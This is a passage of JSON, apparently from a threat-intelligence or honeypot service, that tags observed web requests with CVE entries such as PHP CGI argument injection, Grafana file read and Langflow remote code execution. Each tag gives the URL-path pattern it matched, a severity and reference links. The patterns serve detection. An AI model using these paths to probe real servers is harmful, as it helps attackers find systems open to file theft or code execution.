AppleWebKit/537.36","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-09-30T09:59:43.064680+00:00"}